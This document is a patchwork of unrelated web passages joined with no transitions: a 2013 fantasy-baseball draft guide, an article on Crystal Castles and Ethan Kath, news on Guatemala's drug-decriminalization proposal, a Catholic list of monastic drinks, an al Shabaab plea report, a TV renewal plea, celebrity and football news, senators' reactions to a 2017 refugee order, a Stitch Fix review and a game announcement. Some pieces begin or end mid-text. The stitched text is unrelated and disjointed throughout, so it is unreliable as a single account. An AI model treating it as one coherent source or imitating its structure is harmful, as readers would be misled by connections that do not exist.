He will stabilize your rotation and help you a lot, especially considering he will be available in the draft for a while. So, pick up Ross Detwiler, and you’ll be in good shape for the 2013 fantasy season.
Hunter Pence, Right Fielder, San Francisco Giants
Name recognition will help Pence get selected early, but his 2012 struggles won’t.
Pence and the Giants won the World Series, so his season was still successful. However, he hit a miserable .253, and he only hit 24 home runs. Pence passed the 100 RBI mark for the first time in his career, but that’s not what is being remembered for his 2012 season.
The right fielder struck out way too much, and he crumbled in the postseason. However, he came alive at one point, and it happened to be during Game 7 of the NLCS and the World Series. In San Francisco’s last five games, Pence went 6-for-19 with a walk, three RBI and two doubles, giving him a .316 batting average over that span.
That success will give him confidence, and so will the relationship he has with his teammates. Pence’s RBI totals jumped when he joined the Giants, and having Buster Posey hit in front of him won’t hurt. Pence will have plenty of RBI opportunities, and he will be hitting more home runs.
Pence could be one of your top picks, but if he falls to you around the sixth round, take him. Pence is an RBI machine, and he’s poised for a huge bounce-back year in 2013.
Jeremy Hellickson, Starting Pitcher, Tampa Bay Rays
Hellickson is a great pitcher who put up some great numbers in 2012, but he’s poised to do even better things in 2013.
The star right-hander posted the sixth-best ERA in the AL (3.10), and even though he went 10-11, it was because of a horrible offense. The Rays don’t put up many runs, but having Evan Longoria back should help with that. However, Hellickson won’t need much help.
He won’t get many points for strikeouts (124 in 177 innings), but he will score points for great outings. Hellickson is consistent, as he finished the season with seven straight starts without allowing more than three runs (with three shutouts) and 17 starts without allowing more than four runs. Incredibly, he had 15 starts in which he didn’t allow more than one run, and he started 31 games. That means that in 48.4 percent of his starts, he allowed on run or less.
So, Hellickson can be overpowering while still consistent. Unfortunately for him, he hasn’t had much national recognition, partially because of the small market team he plays for and, well, just a lack of attention. However, he is a guy I recommend drafting for the top of the rotation, and a guy that’s even better in the bottom of the rotation, if he falls.
But after his 2013 season, he won’t be falling down draft boards any more.
Melky Cabrera, Left Fielder, Toronto Blue Jays
Melky Cabrera had a great case for winning NL MVP. Then, he was brought down for testosterone use, and his season was over.
Because of the testosterone use, he will fall down draft boards. However, I’m telling you why you should draft him, and why “reaching” for him would be just fine. Cabrera hit .346 before his suspension, in 501 trips to the plate.
501 trips is a pretty nice sample of how good a player is, even if the player was busted for drug use. However, I don’t think the testosterone affected him much, as he got on base a lot with well-struck line drives that came because of good hitting. Melky belted 11 homers, so don’t expect a lot from him in terms of home runs. However, he could be a decent RBI guy and a major run-scorer.
The Bill James Projection System forecasts a .295 batting average for Cabrera, combined with 88 runs and 75 RBI. By no means are those bad numbers, and if he gets passed over and falls deep into a draft, he will be a major steal.
Don’t be fooled by Cabrera’s suspension: he is a very valuable player, for fantasy and for the Blue Jays. He will either be setting the table for Jose Bautista and Edwin Encarnacion while hitting after Jose Reyes, meaning he will score a lot, or he will be hitting behind Encarnacion and Bautista, meaning he will drive in a lot of runs.
i wish my former vocalist the best of luck in her future endeavors. i think it can be empowering for her to be in charge of her own project. it should be rewarding for her considering she didn’t appear on Crystal Castles’ best known songs. (she’s not on Untrust Us. “Not In Love,” “Vanished,” “Crimewave,” “Vietnam,” “Magic Spells,” “Knights,” “Air War,” “Leni,” “Lovers Who Uncover,” “Violent Youth,” “Reckless,” “Year of Silence,” “Intimate,” “1991,” “Good Time,” “Violent Dreams” etc.). people often gave her credit for my lyrics and that was fine, i didn’t care.
Kath later edited that message, cutting out the notes regarding Glass’ involvement in Crystal Castles, and adding a new bit of information: the name of the vocalist on “Frail,” whom he identified only as “Edith”:
i wish my former vocalist the best of luck in her future endeavors. i think it can be empowering for her to be in charge of her own project. <3 this is Edith on vocals
So who’s Edith? Speculation abounded. Numerous Facebook commenters suggested that Edith was in fact Victoria’s Secret model Stella Maxwell, who certainly looks a little bit like Glass. Many of the speculators, though, missed a hint provided by Kath two days ago. That hint came in the form of a photo shared by Kath on Crystal Castles’ Facebook. It’s the same photo that’s at the top of this page — of Kath and a baby in a pink onesie — and it included the following caption:
10th anniversary of the release of “untrust us” and “magic spells”. this was the photo used in the press release (alice wasn’t in the band yet). features edie whose voice i sampled on “knights”
So there you have it, maybe? Edie, presumably, is also Edith. (And Edie is also presumably the baby in that picture.) It’s not impossible to imagine that the vocalist on this track is in fact a child whose voice has been pitch-shifted.
The “Edie” news in relation to “Knights” was a revelation never before shared by Kath. YouTube commenters were surprised and impressed!
If that picture were taken 10+ years ago, it would make “Edie” old enough to have sung “Frail.” So there’s your answer! Right? Maybe not — there are a few weird inconsistencies here.
First off, it’s pretty hard to confirm that “Untrust Us” and “Magic Spells” were released on April 15, 2005 — and it’s a whole lot harder to believe there was any sort of photo-accompanied press release that went out with the songs. As Complex noted in 2010, Crystal Castles’ first official release was the 2006 single “Alice Practice” — so named for the song’s evolutionary process. As Complex wrote, Crystal Castles first single was, in fact, “a mistake”:
Ethan Kath met Alice Glass when she was just 15. Impressed by her work with a local punk band, he hit her with a disc full of instrumentals. Alice wrote to a few of the songs and when she went to the studio to record them, the sound engineer secretly recorded her soundcheck. The track was aptly titled “Alice Practice” and went on to become the band’s first official release.
So it’s at least a little suspicious that Crystal Castles’ Facebook would be updated in commemoration of an anniversary pre-dating “Alice Practice” — an update that matter-of-factly included the heretofore-unheard “Edie” news — especially considering the page had been dormant since August 21, 2014. It’s even more suspicious that “Frail” would follow less than 24 hours later, with “Edith” on vocals.
But here’s the thing: Kath has a history of Catfish-esque obfuscation. Ethan Kath isn’t even the guy’s real name; it’s Claudio Palmieri. That’s not exactly widely known, though — it was discovered by Exclaim! in 2009, and even then, only after some digging. Wrote Exclaim!:
Ethan Kath, producer/instrumentalist for Toronto’s Crystal Castles, recently spoke with Exclaim!, admitting, “We used to have our friends do our interviews and we instructed them to make up stupid stories and names. My name isn’t Claudio — that’s one of my roommates. Our roommates’ names would get into interviews, and we’d go somewhere and a fan would be, “Hey Conrad, how’s it going?” Another time I’m Clint, and Claudio … But my name’s Ethan.” Good to know. Or so we thought. According to a reliable source close to the band, “Mr. Kath” is not who he appears to be. Or the other three or four people he appears to be. “His name is not Ethan or Ethin. I have no idea why he wants to be called that but yeah, [it’s definitely] Claudio,” the source told Exclaim!. “I can’t believe the stories that Claudio (yes, Claudio) concocts. This whole ‘lazy journalists’ thing he talked about is so unfair — I have friends who wrote early articles on them and who are really pissed about that line he is using in these new interviews.”
It’s probably also worth noting that Alice Glass wasn’t always called Alice Glass, either. She previously went by Vicki Vale, but was (apparently) born Margaret Osborne. Here’s the real twist, though:
Before Crystal Castles, Kath played in a band called Kill Cheerleader under the name Ethan Deth. Which sounds kind of like “Edith,” no? Here, break it down even further:
Ethan Deth = E.Deth = E.D. = Edie = Edith
So maybe the vocalist on “Frail” is a pitch-shifted Kath? Or maybe Edith is a code name for an anonymous Glass replacement. Kath never explicitly says Edie is the name of the baby in that picture — he just says that the picture features Edie, whose voice was sampled on “Knights.” According to Kath, Glass “didn’t appear on Crystal Castles’ best known songs” — and that list includes “Knights” among many others. Somebody appeared on those songs, though. But no one is stepping up to take credit. Well, no one but Kath. And whether or not he wants to minimize Glass’ contributions to Crystal Castles, he’s effectively done just that by suggesting an infant — an actual baby! — had done the job with which Glass had been credited.
When Glass first left Crystal Castles, someone identified as their manager told NME not to assume the band would cease to exist, saying, “There will be twists and turns ahead for Crystal Castles.”
Indeed there will. It’s already a goddamn maze.
In recent comments Perez said he would propose decriminalizing drugs during April’s Summit of the Americas in Colombia as a strategy to combat powerful traffickers that use Central America as a warehouse and transit point for South American cocaine heading to the United States.
New legislation is unlikely anytime soon — and the details, such as which illicit drugs he means, are still unclear — but Perez has caught the region’s attention and has provoked a divisive response from US officials.
“We know it’s a difficult and polarizing issue,” Perez recently told journalists. “We are bringing it to the table and we want a serious debate about it.”
Murder rates have soared in recent years in Central America, driven in part by drug traffickers and street pushers who battle for routes and territories.
Four of the isthmus’ seven nations are among the world’s 10 most murderous with homicide rates up to 17 times those in the United States. Bloody Mexican cartels looking to prey on vast, unprotected land and corrupt institutions have brough their violent business here, where nearly half the inhabitants live in poverty.
The region’s leaders, with scant resources, have lobbied for more support from the United States to fight organized crime and have slammed the United States for not reducing demand for the drugs. A Republican-controlled US Congress hungry for aid cuts and a slow recession recovery have meant few increases in financial support, analysts say.
More from Guatemala: How did Mexico's cartels get here?
During a recent visit to Central America, US Secretary of Homeland Security Janet Napolitano defended her country’s firm stance against legalization and said the US would continue to fund the war on drugs.
“The United States does not view decriminalization as a viable way to deal with the narcotics problem,” Napolitano said. “We should be finding better ways to prevent someone from becoming addicted to illegal drugs and better ways to intercept the production or distribution of illegal drugs.”
In a statement, the US cited drops in Colombia’s murder rates after the US-funded Colombia Plan — a five-year, multi-billion dollar crusade against South American cocaine growers — as evidence that staunch law enforcement works.
Washington also spent $1.6 billion in Mexico under the Merida Initiative, according to the US State Department. That money has helped finance a drug war that has since 2006 resulted in the deaths of more than 47,000 people, according to Mexican prosecutors' statistics.
The US donated some $300 million to Central America in 2011 for security projects, but leaders facing an expensive and potentially deadly battle have begun to pool ideas in search of a new approach.
Salvadoran President Mauricio Funes, who favored the debate, said that decriminalizing drugs could cripple criminal profits, so long as it’s a multilateral approach.
“Our country is open to any proposal that will reduce drug production and contraband … which is the activity that organized criminals use to destroy our societies,” Funes said during a visit to Guatemala. “It must be a regional effort. If we only do it in one country, for example in Guatemala, then Guatemala will become a drug paradise,” he said.
More from the region: Guess which country is Latin America's secret growth story
President Laura Chinchilla of Costa Rica, where small amounts of marijuana for personal consumption are legal, said she is open to the discussion, joining Mexican President Felipe Calderon and Colombian head-of-state Juan Santos who have also clamored for a rethink of drug policy.
In Honduras, whose congress recently approved an army-led strategy to fight drug gangs, President Porfirio Lobo dismissed legalization alongside Panama’s foreign minister, Roberto Enriquez.
Perez, however, has not given up in the face of such doubt. The founding member of the right-wing Patriot Party, he has suggested legalizing the “transit, production and consumption” of illegal drugs and has sent Vice President Roxana Baldetti on a consensus-building mission to neighboring states.
The leaders have not yet said which illicit drugs should be legalized. When pressed on the specifics, Perez only responded that it should be an "integral" strategy.
Skeptics of the plan say that Perez, who is pressing the United States to re-establish embargoed military aid to Guatemala, could be using legalization as a threat in order to speed up army support, a risky move for a president looking for greater US backing.
More from GlobalPost: Mexico's drug war by the numbers
“It could push the US Congress to give them more money, or it could really upset Congress and they could cut aid all together,” said Heather Berkman, an analyst at Eurasia Group, a political risk consultancy. “I doubt this goes anywhere. Latin American leaders feel stuck and this is a move to get more resources rather than a real solution to improve their situation.”
Guatemala spends roughly $200 million per year on its drug war — small change compared to the estimated $30 billion in annual sales that the drug trade pulls in — and the Guatemalan Congress has never debated a legalization bill. A proposal to define a quantity for personal consumption of marijuana and levy a small fine on violators never advanced beyond legislative committees.
Still, Perez has captivated regional leaders and Guatemala’s liberal lawmakers say his new pitch has revitalized an overdue dialogue.
In the nascent Church, when St. Peter refutes claims that he is drunk (Acts 2:13-15) by declaring that it is only 9:00 in the morning (because the Apostles clearly had the good sense to wait until at least after lunch), you can begin to get a glimpse of the Catholic relationship with the liquid spirits. St. Paul tells St. Timothy to “stop drinking only water, but take a little wine” (1 Tim. 5:23) to help him with his frequent stomach troubles. Even Our Blessed Lord Himself states declares that even “The Son of Man came eating and drinking”. (Luke 7:34)
Later, St. Arnulf of Metz, a seventh century Bishop shows the development of the Catholic relationship with drink with a quote that sums up a right Catholic approach: “From man’s sweat and God’s love, beer came into the world.”
So it is no wonder that through the Catholic ages to the present day, the Church has had a healthy, close working relationship with the grape, the fat of the grain, and alcoholic drinks. Particularly out of the Catholic monastic tradition, the world has been treated with some sublime drinks that are truly works of art. Here we list the Catholic Origins Of 5 Alcoholic Beverages:
1. Chartreuse
Chartreuse is a French liqueur made by the Carthusian Monks since 1737 according to the instructions set out in the secret manuscript given to them by a marshal of artillery to French king Henry IV, François Hannibal d’Estrées in 1605. It is composed of distilled alcohol aged with 130 herbs, plants and flowers. The monks intended their liqueur to be used as medicine. The recipe was further enhanced in 1737 by Brother Gérome Maubec.
The liqueur is named after the Monks’ Grande Chartreuse monastery, located in the Chartreuse Mountains in the general region of Grenoble in France. The liqueur is produced in their distillery in the nearby town of Voiron.
Chartreuse gives its name to the color chartreuse.[citation needed] It is one of the handful of liquors that continues to age and improve in the bottle.
Chartreuse has a very strong characteristic taste. It is very sweet, but becomes both spicy and pungent. It is comparable to other herbal liqueurs such as Galliano, Liquore Strega or Kräuterlikör, though it is distinctively more vegetal. Like other liqueurs, its flavor is sensitive to serving temperature. If straight it can be served very cold but is often served at room temperature. It also features in some cocktails. Some mixed drink recipes call for only a few drops of Chartreuse due to the assertive flavor. It is popular in French ski resorts where it is mixed with hot chocolate and called Green Chaud.
2. Trappist Beers
Trappist Beer are renown among beer aficionados as some of the most finely crafted beers in the world. They are brewed by Order of Cistercians of the Strict Observance (“Trappists”) and typically fall under the categories of Dubbel, Tripel, and Quadrupel
The Trappist order originated in the Cistercian monastery of La Trappe, France. Various Cistercian congregations existed for many years, and by 1664 the Abbot of La Trappe felt that the Cistercians were becoming too relaxed. He introduced strict new rules in the abbey and the Strict Observance was born. A fundamental tenet of the new rules was that monasteries should be self-supporting, and is still maintained to this day.
Monastery brewhouses, from different religious orders, have existed across Europe since the Middle Ages. From the very beginning, beer was brewed in French Cistercian monasteries following the Strict Observance. For example, the monastery of La Trappe in Soligny already had its own brewery in 1685. Breweries were later introduced in monasteries of other countries as the Trappist order spread from France into the rest of Europe. The Trappists, like many other religious people, originally brewed beer to feed the community, in a perspective of self-sufficiency. Nowadays, Trappist breweries also brew beer to fund their works and for good causes. Many of the Trappist monasteries and breweries were destroyed during the French Revolution and the World Wars. Among the monastic breweries, the Trappists were certainly the most active brewers.
There are three conditions that must be met to use the name Trappist on a bottle of beer; first, the beer must be brewed within a Trappist Abbey, second, the beer must be brewed under the supervision and responsibility of the monks, and third, the majority of the revenue produced must be dedicated to charitable work.
Seven beers are bear the “Authentic Trappist Product” logo, granted by the International Trappist Association. They include Achel, Chimay, Orval, Rochefort, Westmalle, and Westvleteren, all located in Belgium, and La Trappe located in the Netherlands. In the USA La Trappe uses the name Koningshoeven.
3. Bénédictine
Bénédictine is an herbal liqueur beverage made of herbs, roots and sugar with a Cognac base. Benedictine is a bright yellow/gold color with a sweet aromatic taste.
Though it is likely that the recipe was actually concocted by one Alexandre Le Grand of FeCamp France, home of a Benedictine Monastery, it is claimed by the company that produces it that in 1510, the Benedictine monk Don Bernardo Vincelli, a Venetian monk knowledgeable in spices, and up-to-date on Dutch distillation methods transformed the traditional bitter medicines of the abbey into a delicious ‘Elixir of Health’ that has stood the test of time and come down to us as Benedictine.
The recipe of Don Bernardo Vincelli was said to have restored listless brothers and countered illnesses of the stomach. It is made from 27 herbs and spices, among them thyme, cinnamon, coriander, nutmeg and other more exotic ingredients such as hyssop, angelica and cardamom.
It is claimed that at the Benedictine Abbey of Fécamp in Normandy, monks produced the drink until the abbey’s devastation during the French Revolution.
Benedictine was officially extinct until the 1860’s, when it was resurrected by Le Grande. On supposedly finding the recipe among a bundle of yellowing papers, he was inspired to build an extraordinary new distillery in the high Gothic style at FeCamp.
Although no longer (or perhaps never) connected with the Monks, nevertheless, to recognize its past connection with the abbey every bottle is marked with ‘D.O.M. – Deo Optimo Maximo’ (Praise be to God, Most Good, Most Great).
4. Cistercian Wines of the Island of Saint Honorat
One of the newer entries on this list are the wines produced by the Cistercian Monks of the Abbey of Lerins on the island of Saint Honorat off Cannes, France. The tiny 1.5 square mile island in the Mediterranean has been home to monks since Saint Honorat founded a monastery on it at some time around the year 410. It is said St. Patrick of Ireland studied at monastery in the 5th century. Because of its strategic location, the monastic life on the island was interrupted several times as the island switch hands between the Saracens, Genoese, Spanish, and French.
The island was nationalized during the French revolution and the monastery sold to an actress who lived there for 20 years. The bishop of Fréjus bought the island in 1859 and 10 years later, Cistercian monks started a new community, using its ideal climate for growing vines to make wine.
Today, the community is currently made up of 20 monks aged from 30 to 75. The monks of the Abbey of Lerins grow eight hectares of wines with the best grapes compounds on the island.
The grapes are cared for and harvested each year by the monks. Brother Marie, supervises the production. All processes (pruning, removal of unwanted buds and grape harvesting) are carried out by hand. Machinery is used only for the maintenance of the soil quality and for treatments. To preserve this exceptional terroir, as well as the unique flora and fauna, the brothers use regulated photosanitary treatments. These great wines produced by the work of the monks have reputations that transcend borders.The wines from the abbey of Lerins are produced from a rigorous selection of the best grape varieties: Pinot Noir, Chardonnay, Mourvèdre. The careful work of the monks allows the production of three great vintages named after saints: St. Salonius, St. Lambert, St.Césaire, which are recognized by famous chefs as some of the best and finest French wines. 5. Dom Pérignon Champagne While not directly made by Catholic clergy like the other entries on this list, the very famous, high-end Dom Pérignon Champagne serves as an ode to its very Catholic namesake, Dom Pierre Pérignon, O.S.B., (c. 1638 – 1715). Dom Pérignon was a French Benedictine monk who made important contributions to the production and quality of Champagne wine in an era when the region’s wines were predominantly still and red. Pierre Pérignon was born to a clerk of a local judge in the town of Saint-Menehould in the Champagne region of northern France. When he was 19 he entered the Benedictine Order, first doing his novitiate at the abbey of Saint-Vannes near the town of Verdun. In 1668, he transferred to the abbey of Hautvillers near the town of Épernay. He served as cellarer of the abbey until his death in 1715. Under his stewardship, the abbey flourished and doubled the size of its vineyard holding. As a sign of honor and respect, Dom Pierre was buried in a section of the abbey cemetery traditionally reserved only for abbots. Dom Pérignon pioneered a number of winemaking techniques: being the first to blend grapes in such a way as to improve the quality of wines, balance one element with another in order to make a better whole, and deal with a number of their imperfections, in 1670; perfecting the art of producing clear white wines from black grapes by clever manipulation of the presses; enhancing the tendency of Champagne wines to retain their natural sugar in order to naturally induce secondary fermentation in the Spring; and being a master at deciding when to bottle these wines in order to capture the bubble, or what we think of today as “Champagne” eponymously named after the region. He also introduced corks (instead of wood), which were fastened to bottles with hemp string soaked in oil in order to keep the wines fresh and sparkling, and used thicker glass in order to strengthen the bottles (which were prone to explode at that time). Where to Find These Drinks:
Here are the official websites for these drinks http://www.chartreuse.fr/ http://www.trappist.be/ http://www.benedictinedom.com/ http://www.excellencedelerins.com/ http://www.domperignon.com/ Remember, as G.K. Chesterton said “We should thank God for beer and burgundy by not drinking too much of them.”
Maalik Alim Jones, 32, entered his plea to three criminal counts before U.S. District Judge Paul Gardephe in Manhattan. Jones admitted that he carried an AK-47 automatic assault rifle for al Shabaab, which is allied with al Qaeda.
“I knew that my actions were a violation of the laws of the United States,” he said.
As part of his plea, Jones agreed to give up the right to appeal any sentence less than 50 years. He faces up to life in prison.
Al Shabaab, which seeks to overthrow Somalia’s Western-backed government and impose a strict version of sharia, or Islamic law, has carried out violent attacks in Kenya and Ethiopia.
Jones was charged in January 2016. Prosecutors said at the time that Jones, who was born and lived in Maryland, traveled in 2011 to Kenya and then to Somalia, where he was brought to an al Shabaab training camp.
Authorities said Jones trained with the group for three months, reading and interpreting the Koran and learning how to handle weapons, including an AK-47 and rocket-propelled grenades.
He then became a member of a specialized fighting force within al Shabaab known as Jaysh Ayman that carried out attacks and raids across the border in Kenya and participated in a battle against Kenyan soldiers in the Somali town of Afmadow, prosecutors said.
But unlike Mulaney, Agent Carter deserves better. It's a uniquely charming series that blends the best parts of the Marvel Cinematic Universe, spy procedurals, period pieces and caper comedies into a single show that's unlike anything else out there. This season alone, Agent Carter has managed to include everything from a deadly interdimensional energy substance, nuanced explorations of the ways women cope with systemic oppression, slapstick flamingo jokes and a charming old Hollywood song-and-dance number. Oh, and did I mention how gorgeous the execution of the series' 1940s setting is? I've never wanted a wide-legged pantsuit so badly in my life!
Agent Carter is also an unapologetically feminist series that's only beginning to scratch the surface of its own potential. When Agent Carter premiered, it was the sole project within the MCU headlined by a woman. Thankfully, Jessica Jones (Krysten Ritter) has now joined Peggy Carter (Hayley Atwell) in that minuscule club, but if Carter gets canceled, Marvel will once again be left with only one woman standing until 2019, when Captain Marvel premieres. Not only is that a bad look for Marvel, but it would be a shame to shut down Agent Carter before it can further its exploration of what it means to be anything other than a straight, white man in the '40s and - to an extent - today.
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Far beyond its feminist themes, there are so many other interesting things left to explore in Peggy Carter's life: the introduction of Hydra, the founding of S.H.I.E.L.D., her role in the Cold War - not to mention her developing romance with Sousa (Enver Gjokaj) and whoever shot (!!!) and maybe killed (!!!) Jack Thompson (Chad Michael Murray). These are threads I need picked up and ones I have full faith Agent Carter would take in unexpected and exhilarating directions. That's because unlike many comic book series, Agent Carter is extremely focused. There's no sprawling mythology or constant need to mold itself around tie-ins for other properties. Instead, Agent Carter tells precise stories about well-developed characters in a world where nothing is introduced without a reason.
There is a quiet confidence to Agent Carter. It knows exactly what it is and has never tried to be anything else simply to court viewers (here's looking at you, S.H.I.E.L.D.). Its narrative integrity is likely why we've seen the last of Peggy, Jarvis (James D'Arcy) and Sousa, but also why the show will at least go out as a beloved, critically acclaimed darling and not a hollow, superhero-filled remnant of what it once was.
And even if ABC doesn't recognize Agent Carter's worth, we know its value and - as Peggy said - anyone else's opinion doesn't really matter.
“Calvin and Hobbes” fans, rejoice: a biopic about comic strip creator Bill Watterson is in the works, and Leonardo DiCaprio is set to help produce.
Warner Brothers has acquired the film, written by Dan Dollar.
“A Boy and His Tiger” will chronicle the “Calvin and Hobbes” creator’s early life and will relate how the notoriously media-shy artist dealt with the sudden fame he experienced as a result of the strip’s popularity, Tracking Board reports.
Watterson, who was famous for not licensing his characters like Charles Schultz and Jim Davis did with “Peanuts” and “Garfield,” respectively, has declined interviews and speaking engagements for years.
A recent 2013 documentary, “Dear Mr. Watterson,” examined the cult following devoted to “Calvin and Hobbes,” but little is known about the man who made the iconic comic strip.
No casting decisions have been reported at this time.
It is a tradition for United's stars to turn out at the Manchester Royal Children's Hospital to bring some Christmas cheer to young patients and a leading cast of players were once again present on Monday.
Ander Herrera, Juan Mata, Memphis Depay, Jesse Lingard, Morgan Schneiderlin, Anthony Martial, Matteo Darmian, Andreas Pereira and Sergio Romero were pictured in attendance to lift the spirits of their young supporters.
Manchester United's Ander Herrera and Juan Mata and meet Amelie, 10, with sister Fleur, 12, from Salford
Herrera holds Benjamin, 1, as part of the club's Christmas visit to Royal Manchester Children's Hospital
Herrera and Mata pose with baby Elsie, 39 weeks old, with brother Hayden, 4, and father, Darren
Spanish midfield duo Mata and Herrera met 3-year-old Hanna and gave her a present on Monday
Memphis Depay (left) and Jesse Lingard (right) smile as they visit Daniel, 11, from Preston
Dutch 21-year-old winger Depay and 23-year-old English star Lingard meet Millie May, 23 months, from Irlam
Depay and Lingard pose with 11-year-old David from Cork after giving the youngster his festive gift
Morgan Schneiderlin (left) and Anthony Martial (centre) meet Thomas, 18, from Altrincham
Goalkeeper David de Gea played as United were beaten 2-1 by Norwich City at home on Saturday afternoon
However, while his team-mates were spending time with the children and handing out Christmas presents, De Gea was instead locked into the United training ground for several hours - much longer than expected - while the football anti-doping agency carried out their tests at Carrington.
The agency did not provide prior notice and sources close to De Gea told Sportsmail that he was 'angry' to have missed one of the only days of the year where United stars are able to actively engage with their supporters.
De Gea is believed to be the only United player who was selected to take part in the two hours of testing, after which it became too late to accompany his colleagues at the hospital.
The Spanish goalkeeper, who came close to signing for Real Madrid in August before signing a new long-term contract at Old Trafford, remains a hugely popular figure with the United support.
He has been a shining light in an underwhelming United team once again this season, and last week admitted that he felt he was in the best form of his career.
'I feel really good right now,' he told United Review.
'I'm probably in the best physical shape of my career. Let's hope that there is still a lot ahead of me to achieve and that I can continue to improve in order to reach my highest possible level of performance.'
Met some great fans today on the @MU_Foundation Christmas visits. Always a special afternoon #MUFC pic.twitter.com/hmeiNekRwX — Wayne Rooney (@WayneRooney) December 21, 2015
De Gea was left furious on Monday afternoon after he was forced to undergo two hours of random drug tests
France internationals Schneiderlin, 26, and Martial, 20, meet Kaden, 13, from Salford
Schneiderlin and Martial get to know Alfie, 8, from Morecambe, who sported a United drawstring bag
Schneiderlin, Martial and Italian right back Matteo Darmian (right) pose with Luke, 10, from Preston
Darmian meets Ibrahim, 3, after United's 2-1 defeat to Norwich City at Old Trafford on Saturday
Brazilian youngster Andreas Pereira and Argentine stopper Sergio Romero meet Umar, 12, from Rochdale
Pereira and Romero pose with hospital staff at Royal Manchester Children's Hospital on December 21
Senate Minority Leader Chuck Schumer Charles (Chuck) Ellis SchumerBrennan fires back at 'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE (D-N.Y.) said “tears are running down the checks of the Statue of Liberty” and called the order “backward and nasty.”
Trump's executive order bans Syrian refugees "until such time as I have determined that sufficient changes have been made to the [U.S. Refugee Admissions Program] to ensure that admission of Syrian refugees is consistent with the national interest."
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His action also suspends the entire refugee program for 120 days, and also halts entry for visitors and certain visa holders from Iran, Sudan, Syria, Libya, Somalia, Yemen and Iraq for 90 days.
Warren called the move “a betrayal of American values.”
Sen. Chris Murphy Christopher (Chris) Scott MurphyPush to end U.S. support for Saudi war hits Senate setback Feehery: Defining what socialism is (and isn’t) Avoiding the tragedy of Brexit MORE (D-Conn.) wrote in an Huffington Post op-ed that “Trump has now handed ISIS a path to rebirth."
On Twitter, he shared a widely spread photo of a 3-year-old Syrian boy who drowned as his family attempted to migrate to Europe, along with the message: “To my colleagues: don’t ever again lecture me on American moral leadership if you chose to be silent today.”
Sen. Dianne Feinstein Dianne Emiel FeinsteinHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein 'sad' Key senators say administration should ban Huawei tech in US electric grid MORE (D-Calif.) invoked the same image.
“There is no legitimate national security reason to ban refugees — the vast majority of whom are women and children who have experienced absolute horror,” she wrote in a statement.
Sen. Cory Booker (D-N.J.), whose name often comes up in 2020 speculation, called the order “fundamentally un-American.”
President Trump’s fundamentally un-American executive order today stands in painful contrast to our ideals: pic.twitter.com/ynDLwRgqrW — Cory Booker (@CoryBooker) January 28, 2017
Sen. Jeanne Shaheen Cynthia (Jeanne) Jeanne ShaheenCongress must step up to protect Medicare home health care Dems slam EPA plan for fighting drinking water contaminants Bipartisan Senators reintroduce legislation to slap new sanctions on Russia MORE called it “grossly inhumane.”
Sen. Brian Schatz (D-Hawaii) wrote on Twitter: “Shame. Shame. Shame. Today is a dark day. I feel sick.”
Hi Kenia! Happy 7th Fix Day! Can I tell you, I totally love Beyoncé too! I feel like I’ve been on twin watch stalking to see when she’s going to have those beautiful babies! I started this Fix with a bit of a wild card piece, that’s kind of edge and totally Beyoncé on the weekend! The Free People Kyoto Leggings are so much fun and perfect for casual margaritas with the girls! Pair them with the Current/Elliott Stach tee and a handful of funky gold bangle bracelets. The Bailey44 Brianna dress is a gorgeous piece that is perfect for a date night. I’m loving the off the shoulder trend this season and this dress does it in a really classy way! I can’t wait to hear what you loved and want to see in your next Fix. Happy styling and stay fabulous! XO Kimmy
OK, so I like her! Nice note!
With that said, this latest fix was a decent box and I kept several items!
For those of you who are unfamiliar with Stitch Fix, here’s how it works.
1. Fill out your Style Profile
Begin by filling out the Style Profile. This helps them understand your size, style, shape, budget and lifestyle. Completing your Profile takes about 10 minutes.
2. Pick the date you’d like to receive your shipment
Select a delivery date from the calendar. At the time your Stylist selects your items, you will be charged a $20 styling fee. That $20 will be applied as a credit toward anything you keep from your shipment.
3. Try everything on in the comfort of your home
Make sure you to try on everything our Stylists have picked for you because you never know what will look great on you. Create new outfits by pairing what’s in your shipment with items that are already in your closet.
4. Buy what you like and return the rest
Take three days to decide what you’ll purchase and what you’d like to send back. You’re only charged for items you choose to keep when you check out. Check out by logging into your account to pay for the items you want to keep. The $20 styling fee will be applied as credit toward any items you purchase. If you buy all five items, you get 25% off the entire purchase. Simply return the items you don’t want in our prepaid mailer and drop it into any USPS mailbox. Stitch Fix provides free shipping both ways as a benefit of using the service.
So here are the items that I received based on my style profile! Stitch Fix recommends that you try everything on because you might feel differently about it once on your body. So, that’s exactly what I did!
Schutz Mollyna Peep Toe Stiletto Heel. Price to keep: $180.00
Classy! These are too small for me and I had to squeeze my feet in to get the picture. This is my excuse for why they look so terrible. I bought a pair of Schutz from Stitch Fix at the beginning of the season, so I guess they thought to try again! I like the style of the shoe and the navy color is really pretty. The heel is higher than I would normally wear, but I might have kept these if they fit….
STATUS: RETURNED
Current/Elliott Stach V-Neck Tee. Price to keep: $78.00
I expect more from Stitch Fix. No way am I buying this basic tee for this much money.
STATUS: RETURNED
Free People Kyoto Textured Legging. Price to keep: $128.00
Edgy! Love these leggings! Of course they are comfortable, but I really like the texture of them and the interesting pattern at the bottom of the leg. Super casual! Great for running errands or long travel days. AND, it’s a brand that I love and trust – Free People! These will go in my closet until the Fall.
STATUS: KEPT
Renee C Calia Cami Blouse. Price to keep: $36.00
Sweet! So cute! This cami is very colorful, great for Spring and Summer, and can be really versatile. I can wear this casually or dress up a bit for the office or a night out. I love the longer length in the back – I can dress up a pair of leggings. At this price, this piece is a steal!
STATUS: KEPT
Bailey44 Brianna Off The Shoulder Ponte Dress. Price to keep: $178.00
Classy! A very nice black dress! The off the shoulder style is so on trend for this season. I also really like the three quarter length sleeves – makes this piece feel really classy. The dress is very simply built so you make this dress be whatever you want. I just don’t see me getting a lot of wear out of this, given my Unlimited subscription with Rent the Runway. This would just sit in my closet.
STATUS: RETURNED
So, what do you think about this month’s Fix! Let me know!
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Kenia is a late bloomer from Philadelphia, PA. She is excited to explore and get back in touch with her personal style. From fashion, to food, to travel, she looks forward to sharing her style journey with you!
We’re excited to announce ward skins, a new customization option that allows you to change the appearance of your Sight and Vision Wards on the Fields of Justice. In keeping with the season, these ward skins are inspired by the haunting guise of the Shadow Isles. Activating a ward skin will transform your wards into ghosts, spooky trees, spiders, creepy stone statues, or pumpkin-headed bats with their own unique visual effects, sounds, and animations.
